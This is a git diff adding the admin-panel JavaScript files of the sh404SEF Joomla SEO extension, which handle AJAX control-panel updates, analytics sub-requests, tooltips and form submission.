+1,376 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +var shQuickControlNeedsUpdate = false; +var shAnalyticsCompletedRequestsList = {}; +var shAnalyticsProgress = null; +var shAnalyticsOptions = null; + +function shSetupQuickControl() { + var url = "index.php?option=com_sh404sef&c=configuration&view=configuration&layout=qcontrol&format=raw&tmpl=component&noMsg=1"; + new Request.HTML({ + url : url, + method : 'get', + onSuccess : function(responseTree, responseElements, responseHTML, + responseJavaScript) { + shUpdateQuickControl(responseHTML); + }, + onFailure : function(xhr) { + shUpdateQuickControl('Server not responding for Quick control'); + } + }).get(); +} + +function shUpdateQuickControl(response) { + + document.id('qcontrolcontent').set("html", response); + + shUpdateTooltips(); + + setTimeout("document.id('sh-message-box').empty()", 3000); + setTimeout("document.id('sh-error-box').empty()", 5000); + +} + +function shUpdateTooltips() { + + $$('.hasTip').each(function(el) { + var title = el.get('title'); + if (title) { + var parts = title.split('::', 2); + el.store('tip:title', parts[0]); + el.store('tip:text', parts[1]); + } + }); + + var AnalyticsTooltips = new Tips($$('.hasTip'), { + maxTitleChars : 50, + fixed : false + }); +} + +function shSetupSecStats(task) { + task = task ? task : 'showsecstats'; + var url = "index.php?option=com_sh404sef&task=" + task + + "&layout=secstats&format=raw&tmpl=component&noMsg=1"; + var update = document.id("sh-progress-cpprogress").empty(); + update.set("html", "
     
    "); + new Request.HTML({ + url : url, + method : 'get', + onSuccess : function(responseTree, responseElements, responseHTML, + responseJavaScript) { + update.empty(); + shUpdateSecStats(responseHTML); + }, + onFailure : function(xhr) { + update.empty(); + shUpdateSecStats('Server not responding for security stats'); + } + }).get(); +} + +function shUpdateSecStats(response) { + + document.id('secstatscontent').set("html", response); + setTimeout("document.id('sh-message-box').empty()", 3000); + setTimeout("document.id('sh-error-box').empty()", 5000); + +} + +function shSetupUpdates(forced) { + forced = forced ? "forced=1" : 'forced=0'; + var url = "index.php?option=com_sh404sef&task=showupdates&layout=updates&format=raw&tmpl=component&noMsg=1&" + + forced; + var update = document.id("sh-progress-cpprogress").empty(); + update.set("html", "
     
    "); + new Request.HTML({ + url : url, + method : 'get', + onSuccess : function(responseTree, responseElements, responseHTML, + responseJavaScript) { + update.empty(); + shUpdateUpdates(responseHTML); + }, + onFailure : function(xhr) { + update.empty(); + shUpdateUpdates('Server not responding for Updates check'); + } + }).get(); +} + +function shUpdateButtonClick() { + document.id("sh-update-button").empty(); + var update = document.id("sh-progress-cpprogress").empty(); + update.set("html", "
     
    "); +} + +function shUpdateUpdates(response) { + + document.id('updatescontent').set("html", response); + setTimeout("document.id('sh-message-box').empty()", 3000); + setTimeout("document.id('sh-error-box').empty()", 5000); + +} + +function shAnalyticsRequestCompleted(req) { + + shAnalyticsCompletedRequestsList.set(req, true); + completed = true; + shAnalyticsCompletedRequestsList.each(function(value, key) { + completed = completed && value; + }); + if (completed) { + shAnalyticsProgress.empty(); + setTimeout('shRefreshTooltips();', 250); + } + +} + +function shRefreshTooltips() { + + $$('.hasAnalyticsTip').each(function(el) { + var title = el.get('title'); + if (title) { + var parts = title.split('::', 2); + el.store('tip:title', parts[0]); + el.store('tip:text', parts[1]); + } + }); + var AnalyticsTooltips = new Tips($$('.hasAnalyticsTip'), { + maxTitleChars : 50, + fixed : false + }); +} + +function shSetupAnalytics(options) { + + shAnalyticsOptions = options || {}; + + shAnalyticsProgress = document.id("sh-progress-analyticsprogress"); + shAnalyticsProgress + .set("html", "
     
    "); + + var defaultOptions = { + forced : 0, + showFilters : 'yes', + accountId : '', + groupBy : '', + startDate : '', + endDate : '', + cpWidth : 0, + report : 'dashboard', + subrequest : 'visits' + }; + + forced = "forced=" + + (shAnalyticsOptions.forced ? shAnalyticsOptions.forced + : defaultOptions.forced); + + shAnalyticsOptions.showFilters = shAnalyticsOptions.showFilters ? shAnalyticsOptions.showFilters : defaultOptions.showFilters; + showFilters = "&showFilters=" + + (shAnalyticsOptions.showFilters ? shAnalyticsOptions.showFilters + : defaultOptions.showFilters); + + // is account Id selected by user ? + var accountIdEl = document.id('accountId'); + accountId = accountIdEl ? "&accountId=" + accountIdEl.value + : defaultOptions.accountId; + var startDateEl = document.id('startDate'); + startDate = startDateEl ? "&startDate=" + startDateEl.value + : defaultOptions.startDate; + var endDateEl = document.id('endDate'); + endDate = endDateEl ? "&endDate=" + endDateEl.value + : defaultOptions.endDate; + var reportEl = document.id('report'); + report = "&report=" + (reportEl ? reportEl.value : defaultOptions.report); + var groupByEl = document.id('groupBy'); + groupBy = "&groupBy=" + + (groupByEl ? groupByEl.value : defaultOptions.groupBy); + var cpEl = document.id('sh404sef-analytics-wrapper'); + cpWidth = "&cpWidth=" + (cpEl ? cpEl.offsetWidth : defaultOptions.cpWidth); + shAnalyticsOptions.url = "index.php?option=com_sh404sef&view=analytics&format=raw&tmpl=component&noMsg=1&" + + forced + + showFilters + + report + + accountId + + groupBy + + cpWidth + + startDate + endDate; + + if (shAnalyticsOptions.showFilters == 'yes') { + shAnalyticsCompletedRequestsList = new Hash({ + 'headers' : false, + 'visits' : false, + 'sources' : false, + 'global' : false, + 'perf' : false, + 'topsocialfb': false, + 'topsocialtweeter': false, + 'topsocialpinterest': false, + 'topsocialplusone': false, + 'topsocialplusonepage': false, + 'top5urls' : false, + 'top5referrers' : false + }); + } else { + shAnalyticsCompletedRequestsList = new Hash({ + 'headers' : false, + 'visits' : false, + }); + } + + // don't empty headers! + shAnalyticsCompletedRequestsList.each(function(value, key) { + if (key != "headers") { + try{ + document.id("analyticscontent_" + key).empty(); + } catch (e) { + //alert(key); + } + } + }); + + _shPerformAnalyticsSubRequest('headers'); + _shPerformAnalyticsSubRequest('visits'); + + if (shAnalyticsOptions.showFilters == 'yes') { + for ( var i = 1; i < 11; i++) { + setTimeout('shContinueAnalytics' + i + '();', 600 * i); + } + +} +} + +function shContinueAnalytics1() { + + _shPerformAnalyticsSubRequest('sources'); + +} + +function shContinueAnalytics2() { + + _shPerformAnalyticsSubRequest('global'); +} + +function shContinueAnalytics3() { + + _shPerformAnalyticsSubRequest('perf'); + +} + +function shContinueAnalytics4() { + + _shPerformAnalyticsSubRequest('top5urls'); + +} + +function shContinueAnalytics5() { + + _shPerformAnalyticsSubRequest('top5referrers'); +} + +function shContinueAnalytics6() { + + _shPerformAnalyticsSubRequest('topsocialfb'); +} +function shContinueAnalytics7() { + + _shPerformAnalyticsSubRequest('topsocialtweeter'); +} +function shContinueAnalytics8() { + + _shPerformAnalyticsSubRequest('topsocialpinterest'); +} +function shContinueAnalytics9() { + + _shPerformAnalyticsSubRequest('topsocialplusone'); +} +function shContinueAnalytics10() { + + _shPerformAnalyticsSubRequest('topsocialplusonepage'); +} + +function _shPerformAnalyticsSubRequest(subrequestname) { + + new Request.HTML({ + url : shAnalyticsOptions.url + '&subrequest=' + subrequestname, + method : 'get', + onSuccess : function(responseTree, responseElements, responseHTML, + responseJavaScript) { + shAnalyticsRequestCompleted(subrequestname); + shUpdateAnalytics(responseHTML, subrequestname); + }, + onFailure : function(xhr) { + shAnalyticsRequestCompleted(subrequestname); + shUpdateAnalytics('Server not responding for ' + subrequestname, subrequestname); + } + }).get(); +} + +function shUpdateAnalytics(response, subrequest) { + + document.id('analyticscontent_' + subrequest).set("html", response); + id = document.id('startDate'); + if (id) { + Calendar.setup({ + inputField : "startDate", // id of the input field + ifFormat : "%Y-%m-%d", // format of the input field + button : "startDate_img", // trigger for the calendar (button ID) + align : "Bl", // alignment (defaults to "Bl") + singleClick : true + }); + Calendar.setup({ + inputField : "endDate", // id of the input field + ifFormat : "%Y-%m-%d", // format of the input field + button : "endDate_img", // trigger for the calendar (button ID) + align : "Tl", // alignment (defaults to "Bl") + singleClick : true + }); + } + setTimeout("document.id('sh-message-box').empty()", 3000); + setTimeout("document.id('sh-error-box').empty()", 5000); + +} + +function shSubmitQuickControl() { + + var form = document.id('adminForm'); + + // Create a progress indicator + var update = document.id("sh-progress-cpprogress").empty(); + update.set("html", "
     
    "); + document.id("sh-error-box").empty(); + + // Set the options of the form"s Request handler. + var onSuccessFn = function(response) { + var message; + //alert(response); + message = "
    • Sorry, something went wrong on the server while performing this action. Please try again or contact administrator
    "; + + // remove progress indicator + var update = document.id("sh-progress-cpprogress").empty(); + + // insert results + shUpdateQuickControl(response); + + }; + + form.set('send', { + url : 'index.php', + method : 'post', + onSuccess : onSuccessFn + }); + + // Send the form. + form.send(); + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j2_edit.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j2_edit.js new file mode 100644 index 00000000..94c46ff5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j2_edit.js @@ -0,0 +1,73 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +function shAjaxHandler(task, options, closewindow) { + + var form = document.id('adminForm'); + form.task.value = task; + + // Create a progress indicator + var update = document.id("sh-message-box").empty(); + update.set("html", "
     
    "); + document.id("sh-error-box").empty(); + + // Set the options of the form"s Request handler. + var onSuccessFn = function(response, responseXML) { + //alert(response); + var root, status, message; + try { + root = responseXML.documentElement; + status = root.getElementsByTagName("status").item(0).firstChild.nodeValue; + message = root.getElementsByTagName("message").item(0).firstChild.nodeValue; + } catch (err) { + status = 'failure'; + message = "
    • Sorry, something went wrong on the server while performing this action. Please retry or cancel
    • " + + "
    • " + response + "
    • " + "
    "; + } + + // remove progress indicator + var update = document.id("sh-message-box").empty(); + + // insert results + if (status == "success") { + update.set("html", message); + if (closewindow) { + setTimeout("window.parent.SqueezeBox.close()", 1500); + } else { + setTimeout("document.id('sh-message-box').empty()", 3000); + } + } else if (status == 'redirect') { + setTimeout("parent.window.location='" + message + "';", 100); + window.parent.shReloadModal = false; + window.parent.SqueezeBox.close(); + } else { + document.id('sh-error-box').set("html", message); + setTimeout("document.id('sh-error-box').empty();", 5000); + } + + }; + + // Send the form. + form.set( 'send', {url: 'index.php', method: 'post', onSuccess: onSuccessFn}); + form.send(); +} + +Joomla.submitbutton = function(pressbutton) { + if (pressbutton == "cancel") { + window.parent.shReloadModal = false; + window.parent.SqueezeBox.close(); + } + if (pressbutton == "back") { + window.parent.shReloadModal = true; + window.parent.SqueezeBox.close(); + } +}; \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j3.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j3.js new file mode 100644 index 00000000..9bab52da --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j3.js @@ -0,0 +1,50 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ +var __sh404sefJs = (function($) { + var tmp = { + + // function to call on document ready + onReady : function() { + jQuery(window).resize(__sh404sefJs.stickyPagination); + __sh404sefJs.stickyPagination(); + }, + + // display the pagination bar at the top, fixed, or let it + // at bottom, scrolling + stickyPagination : function() { + var needed = $("#shl-bottom-pagination-container ul.pagination-list").width(); + var avail = $("#shl-main-searchbar-right-block").width(); + var used = 0; + $("#shl-main-searchbar-right-block div.btn-group").each(function() { + var w = jQuery(this).width(); + used += w; + }); + if ((avail - used - 20) > needed) { + var c = jQuery("#shl-bottom-pagination-container").html(); + if(c) { + $("#shl-bottom-pagination-container").html(""); + $("#shl-top-pagination-container").html(c); + } + } else { + var t = jQuery("#shl-top-pagination-container").html(); + if(t) { + $("#shl-bottom-pagination-container").html(t); + $("#shl-top-pagination-container").html(""); + } + + } + } + }; + + // init + jQuery(document).ready(tmp.onReady); + return tmp; +})(jQuery); diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j3_cp.full.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j3_cp.full.js new file mode 100644 index 00000000..8053ad0a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j3_cp.full.js @@ -0,0 +1,290 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +var shQuickControlNeedsUpdate = false; +var shAnalyticsCompletedRequestsList = {}; +var shAnalyticsProgress = null; +var shAnalyticsOptions = null; + +function shSetupQuickControl() { + var url = "index.php?option=com_sh404sef&c=configuration&view=configuration&layout=qcontrol&format=raw&tmpl=component&noMsg=1"; + + var onSuccess = function(response) { + progress.empty(); + jQuery('#qcontrolcontent').html(response); + shlBootstrap.updateBootstrap(); + }; + // request quick control panel + var onFailure = function() { + shUpdateQuickControl('
    Server not responding for Quick control
    '); + } + + jQuery.get(url, shUpdateQuickControl).fail(onFailure); + +} + +function shUpdateQuickControl(response) { + + jQuery('#qcontrolcontent').html(response); + shlBootstrap.updateBootstrap(); + +} + +function shSetupSecStats(task) { + task = task || 'showsecstats'; + var url = "index.php?option=com_sh404sef&task=" + task + "&layout=secstats&format=raw&tmpl=component&noMsg=1"; + var progress = jQuery("#sh-progress-cpprogress").empty(); + progress.html("
     
    "); + + // request quick control panel + var onSuccess = function(response) { + progress.empty(); + jQuery('#secstatscontent').html(response); + }; + var onFailure = function() { + progress.empty(); + jQuery('#secstatscontent').html('
    Server not responding for security stats
    '); + }; + + jQuery.get(url, onSuccess).fail(onFailure); + +} + +function shSetupUpdates(forced) { + forced = forced ? "forced=1" : 'forced=0'; + var url = "index.php?option=com_sh404sef&task=showupdates&layout=updates&format=raw&tmpl=component&noMsg=1&" + forced; + var progress = jQuery("#sh-progress-cpprogress").empty(); + progress.html("
     
    "); + var onSuccess = function(response) { + progress.empty(); + jQuery('#updatescontent').html(response); + }; + var onFailure = function() { + progress.empty(); + jQuery('#updatescontent').html('
    Server not responding for Updates check
    '); + }; + + jQuery.get(url, onSuccess).fail(onFailure); +} + +function shUpdateButtonClick() { + jQuery("#sh-update-button").empty(); + var progress = jQuery("#sh-progress-cpprogress").empty(); + progress.html("
     
    "); +} + +function shAnalyticsRequestCompleted(req) { + + shAnalyticsCompletedRequestsList[req] = true; + completed = true; + jQuery.each(shAnalyticsCompletedRequestsList, function(key, value) { + completed = completed && value; + }); + if (completed) { + shAnalyticsProgress.empty(); + setTimeout('shlBootstrap.updateBootstrap();', 250); + } + +} + +function shSetupAnalytics(options) { + + shAnalyticsOptions = options || {}; + + shAnalyticsProgress = jQuery("#sh-progress-analyticsprogress"); + shAnalyticsProgress.html("
     
    "); + + var defaultOptions = { + forced : 0, + showFilters : 'yes', + accountId : '', + groupBy : '', + startDate : '', + endDate : '', + cpWidth : 0, + report : 'dashboard', + subrequest : 'visits' + }; + shAnalyticsOptions.showFilters = shAnalyticsOptions.showFilters ? shAnalyticsOptions.showFilters : defaultOptions.showFilters; + forced = "forced=" + (shAnalyticsOptions.forced ? shAnalyticsOptions.forced : defaultOptions.forced); + showFilters = "&showFilters=" + shAnalyticsOptions.showFilters; + + accountId = defaultOptions.accountId; + var startDateEl = jQuery('#startDate'); + startDate = startDateEl && startDateEl.val() ? "&startDate=" + startDateEl.val() : defaultOptions.startDate; + var endDateEl = jQuery('#endDate'); + endDate = endDateEl && endDateEl.val() ? "&endDate=" + endDateEl.val() : defaultOptions.endDate; + var reportEl = jQuery('#report'); + report = "&report=" + (reportEl && reportEl.val() ? reportEl.val() : defaultOptions.report); + var groupByEl = jQuery('#groupBy'); + groupBy = "&groupBy=" + (groupByEl && groupByEl.val() ? groupByEl.val() : defaultOptions.groupBy); + var cpEl = jQuery('#sh404sef-analytics-wrapper'); + cpWidth = "&cpWidth=" + (cpEl ? cpEl.width() : defaultOptions.cpWidth); + shAnalyticsOptions.url = "index.php?option=com_sh404sef&view=analytics&format=raw&tmpl=component&noMsg=1&" + forced + + showFilters + report + accountId + groupBy + cpWidth + startDate + endDate; + + if (shAnalyticsOptions.showFilters == 'yes') { + shAnalyticsCompletedRequestsList = { + headers : false, + visits : false, + sources : false, + global : false, + perf : false, + topsocialfb : false, + topsocialtweeter : false, + topsocialpinterest : false, + topsocialplusone : false, + topsocialplusonepage : false, + top5urls : false, + top5referrers : false + }; + } else { + shAnalyticsCompletedRequestsList = { + headers : false, + visits : false, + }; + } + + // don't empty headers! + jQuery.each(shAnalyticsCompletedRequestsList, function(key, value) { + if (key != "headers") { + try { + jQuery("#analyticscontent_" + key).empty(); + } catch (e) { + // alert(key); + } + } + }); + + _shPerformAnalyticsSubRequest('headers'); + _shPerformAnalyticsSubRequest('visits'); + + if (shAnalyticsOptions.showFilters == 'yes') { + for ( var i = 1; i < 11; i++) { + setTimeout('shContinueAnalytics' + i + '();', 600 * i); + } + } +} + +function shContinueAnalytics1() { + + _shPerformAnalyticsSubRequest('sources'); + +} + +function shContinueAnalytics2() { + + _shPerformAnalyticsSubRequest('global'); +} + +function shContinueAnalytics3() { + + _shPerformAnalyticsSubRequest('perf'); + +} + +function shContinueAnalytics4() { + + _shPerformAnalyticsSubRequest('top5urls'); + +} + +function shContinueAnalytics5() { + + _shPerformAnalyticsSubRequest('top5referrers'); +} + +function shContinueAnalytics6() { + + _shPerformAnalyticsSubRequest('topsocialfb'); +} +function shContinueAnalytics7() { + + _shPerformAnalyticsSubRequest('topsocialtweeter'); +} +function shContinueAnalytics8() { + + _shPerformAnalyticsSubRequest('topsocialpinterest'); +} +function shContinueAnalytics9() { + + _shPerformAnalyticsSubRequest('topsocialplusone'); +} +function shContinueAnalytics10() { + + _shPerformAnalyticsSubRequest('topsocialplusonepage'); +} + +function _shPerformAnalyticsSubRequest(subrequestname) { + + var onSuccess = function(response) { + shAnalyticsRequestCompleted(subrequestname); + shUpdateAnalytics(response, subrequestname); + }; + var onFailure = function() { + shAnalyticsRequestCompleted(subrequestname); + shUpdateAnalytics('
    Server not responding for ' + subrequestname, subrequestname + '
    '); + }; + + jQuery.get(shAnalyticsOptions.url + '&subrequest=' + subrequestname, onSuccess).fail(onFailure); + +} + +function shUpdateAnalytics(response, subrequest) { + + jQuery('#analyticscontent_' + subrequest).html(response); + id = jQuery('#startDate'); + + if (id.length) { + Calendar.setup({ + inputField : "startDate", // id of the input field + ifFormat : "%Y-%m-%d", // format of the input field + button : "startDate_img", // trigger for the calendar (button ID) + align : "Bl", // alignment (defaults to "Bl") + singleClick : true + }); + Calendar.setup({ + inputField : "endDate", // id of the input field + ifFormat : "%Y-%m-%d", // format of the input field + button : "endDate_img", // trigger for the calendar (button ID) + align : "Tl", // alignment (defaults to "Bl") + singleClick : true + }); + } + setTimeout("jQuery('#sh-message-box').empty()", 3000); + setTimeout("jQuery('#sh-error-box').empty()", 5000); +} + +function shSubmitQuickControl() { + + var form = jQuery('#adminForm'); + + // Create a progress indicator + var update = jQuery("#sh-progress-cpprogress").empty(); + update.html("
     
    "); + + // Set the options of the form"s Request handler. + var onSuccessFn = function(response) { + // alert(response); + // remove progress indicator + var update = jQuery("#sh-progress-cpprogress").empty(); + + // insert results + shUpdateQuickControl(response); + + }; + // request quick control panel + var onFailure = function() { + shUpdateQuickControl('
    Server not responding for Quick control
    '); + } + jQuery('#sh404sef-qcontrol .alert').remove(); + jQuery.post('index.php', form.serialize(), onSuccessFn).fail(onFailure); +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/list.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/list.js new file mode 100644 index 00000000..b2a578f4 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/list.js @@ -0,0 +1,74 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +function shStopEvent(event) { + + // cancel the event + new DOMEvent(event).stop(); + +} + +function shProcessToolbarClick(id, pressbutton) { + + if (pressbutton != 'cancel') { + var el = document.getElementById(id); + var options = el.rel; + if (typeof this.baseurl == 'undefined') { + this.baseurl = []; + } + if (typeof this.baseurl[pressbutton] == 'undefined') { + this.baseurl[pressbutton] = el.href; + } + var url = baseurl[pressbutton]; + var cid = document.getElementsByName('cid[]'); + var list = ''; + if (cid) { + var length = cid.length; + for ( var i = 0; i < length; i++) { + if (cid[i].checked) { + list += '&cid[]=' + cid[i].value; + } + } + } + url += list; + el.href = url; + window.parent.SqueezeBox.fromElement(el, {parse:'rel'}); + } + + return false; +} + +function shHideMainMenu() { + if (document.adminForm.hidemainmenu) { + document.adminForm.hidemainmenu.value=1; + } +} + +Joomla.submitbutton = function (pressbutton) { + if (pressbutton == "cancelPopup") { + window.parent.shReloadModal = false; + window.parent.SqueezeBox.close(); + } else if (pressbutton == "backPopup") { + window.parent.shReloadModal = true; + window.parent.SqueezeBox.close(); + } else { + if (pressbutton == "selectnfredirect") { + window.parent.shReloadModal = true; + } + if (pressbutton) { + document.adminForm.task.value = pressbutton; + } + if (typeof document.adminForm.onsubmit == "function") { + document.adminForm.onsubmit(); + } + document.adminForm.submit(); + } +}; diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/metas.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/metas.js new file mode 100644 index 00000000..3f360459 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/metas.js @@ -0,0 +1,74 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +function shMetasClearFields() { + + var form = document.id('adminForm'); + form.task.value = ''; + form.format.value = 'html'; + form.shajax.value = 0; + +} + +function shAjaxHandler(task, options, closewindow) { + + var form = document.id('adminForm'); + form.task.value = task; + form.format.value = "raw"; + form.shajax.value = 1; + + // Create a progress indicator + var update = document.id("sh-message-box").empty(); + update.set("html", "
     
    "); + document.id("sh-error-box").empty(); + + // Set the options of the form"s Request handler. + var onSuccessFn = function(response, responseXML) { + //alert(response); + var root, status, message; + try { + root = responseXML.documentElement; + status = root.getElementsByTagName("status").item(0).firstChild.nodeValue; + message = root.getElementsByTagName("message").item(0).firstChild.nodeValue; + } catch (err) { + status = 'failure'; + message = "
    • Sorry, something went wrong on the server while performing this action. Please retry or cancel
    "; + } + + // remove progress indicator + var update = document.id("sh-message-box").empty(); + + // reset task and format + shMetasClearFields(); + + // insert results + if (status == "success") { + update.set("html", message); + if (closewindow) { + setTimeout("window.parent.SqueezeBox.close()", 1500); + } else { + setTimeout("document.id('sh-message-box').empty()", 3000); + } + } else if (status == 'redirect') { + setTimeout("parent.window.location='" + message + "';", 100); + window.parent.shReloadModal = false; + window.parent.SqueezeBox.close(); + } else { + document.id('sh-error-box').set("html", message); + setTimeout("document.id('sh-error-box').empty();", 5000); + } + + }; + + // Send the form. + form.set( 'send', {url: 'index.php', method: 'post', onSuccess: onSuccessFn}); + form.send(); +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/notfound.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/notfound.js new file mode 100644 index 00000000..5b53296a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/notfound.js @@ -0,0 +1,105 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +function shAjaxHandler(task, options, closewindow) { + + var form = document.id('adminForm'); + form.task.value = task; + form.format.value = "raw"; + + // Create a progress indicator + var update = document.id("sh-message-box").empty(); + update.set("html","
     
    "); + document.id("sh-error-box").empty(); + + // Set the options of the form"s Request handler. + var onSuccessFn = function(response, responseXML) { + var root, status, message; + try { + root = responseXML.documentElement; + status = root.getElementsByTagName("status").item(0).firstChild.nodeValue; + message = root.getElementsByTagName("message").item(0).firstChild.nodeValue; + } catch (err) { + status = 'failure'; + message = "
    • Sorry, something went wrong on the server while performing this action. Please retry or cancel
    "; + } + + // remove progress indicator + var update = document.id("sh-message-box").empty(); + + // insert results + if (status == "success") { + update.set("html",message); + if (closewindow) { + setTimeout("window.parent.SqueezeBox.close()", 1500); + } else { + setTimeout("document.id('sh-message-box').empty()", 3000); + } + } else if (status == 'redirect') { + setTimeout("parent.window.location='" + message + "';", 100); + window.parent.shReloadModal = false; + window.parent.SqueezeBox.close(); + } else { + document.id('sh-error-box').set("html",message); + setTimeout("document.id('sh-error-box').empty();", 5000); + } + + }; + + // Send the form. + form.set( 'send', {url: 'index.php', method: 'post', onSuccess: onSuccessFn}); + form.send(); +} + +function shStopEvent(event) { + + // cancel the event + new DOMEvent(event).stop(); + +} + +Joomla.submitbutton = function (pressbutton) { + if (pressbutton == "cancelPopup") { + window.parent.shReloadModal = false; + window.parent.SqueezeBox.close(); + } else if (pressbutton == "backPopup") { + window.parent.shReloadModal = true; + window.parent.SqueezeBox.close(); + } else { + if (pressbutton == "selectnfredirect") { + window.parent.shReloadModal = true; + } + if (pressbutton) { + document.adminForm.task.value = pressbutton; + } + if (typeof document.adminForm.onsubmit == "function") { + document.adminForm.onsubmit(); + } + document.adminForm.submit(); + } +}; + +function shListItemAjaxTask(id, task, options, closewindow) { + var f = document.adminForm; + cb = eval('f.' + id); + if (cb) { + for (i = 0; true; i++) { + cbx = eval('f.cb' + i); + if (!cbx) + break; + cbx.checked = false; + } // for + cb.checked = true; + f.boxchecked.value = 1; + shAjaxHandler(task, options, closewindow); + } + return false; +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/shajax.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/shajax.js new file mode 100644 index 00000000..1feb378c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/shajax.js @@ -0,0 +1,68 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +function shAjaxHandler(task, options, closewindow) { + + var form = jQuery('#adminForm'); + jQuery('#adminForm input[name=task]').val(task); + jQuery('#adminForm input[name=format]').val('raw'); + jQuery('#adminForm input[name=shajax]').val('1'); + + // Create a progress indicator + var update = jQuery("#sh-progress-cpprogress") + update.empty(); + update.html("
     
    "); + + // Set the options of the form"s Request handler. + var onSuccessFn = function(response) { + + // restore form + jQuery('#adminForm input[name=task]').val(''); + jQuery('#adminForm input[name=format]').val('html'); + jQuery('#adminForm input[name=shajax]').val('0'); + + //alert(response); + var root, status, message; + try { + root = response.documentElement; + status = root.getElementsByTagName("status").item(0).firstChild.nodeValue; + message = "
    " + root.getElementsByTagName("message").item(0).firstChild.nodeValue + '
    '; + } catch (err) { + status = 'failure'; + message = "
    Sorry, something went wrong on the server while performing this action. Please retry or cancel.
    "; + } + + // remove progress indicator + var update = jQuery("#sh-progress-cpprogress").empty(); + var update = jQuery("#sh-message-box2").empty(); + + // insert results + if (status == "success") { + update.html(message); + if (closewindow) { + setTimeout("shlBootstrap.closeModal()", 1500); + } else { + setTimeout("jQuery('#sh-message-box2').empty()", 3000); + } + } else if (status == 'redirect') { + setTimeout("parent.window.location='" + message + "';", 100); + shlBootstrap.closeModal(); + } else { + jQuery('#sh-message-box').html(message); + setTimeout("jQuery('#sh-message-box2').empty();", 5000); + } + + }; + + // Send the form. + jQuery.post('index.php', form.serialize()) + .always(onSuccessFn); +}; diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/urls.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/urls.js new file mode 100644 index 00000000..f9cf6481 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/urls.js @@ -0,0 +1,46 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +function shStopEvent(event) { + + // cancel the event + new DOMEvent(event).stop(); + +} + +function shProcessToolbarClick(id, pressbutton) { + + if (pressbutton != 'cancel') { + var el = document.getElementById(id); + if (typeof this.baseurl == 'undefined') { + this.baseurl = []; + } + if (typeof this.baseurl[pressbutton] == 'undefined') { + this.baseurl[pressbutton] = el.href; + } + var url = baseurl[pressbutton]; + var cid = document.getElementsByName('cid[]'); + var list = ''; + if (cid) { + var length = cid.length; + for ( var i = 0; i < length; i++) { + if (cid[i].checked) { + list += '&cid[]=' + cid[i].value; + } + } + } + url += list; + el.href = url; + window.parent.SqueezeBox.fromElement(el, {parse:'rel'}); + } + + return false; +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/changelog.log b/deployed/sh404sef/administrator/components/com_sh404sef/changelog.log new file mode 100644 index 00000000..ac86b785 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/changelog.log @@ -0,0 +1,925 @@ + 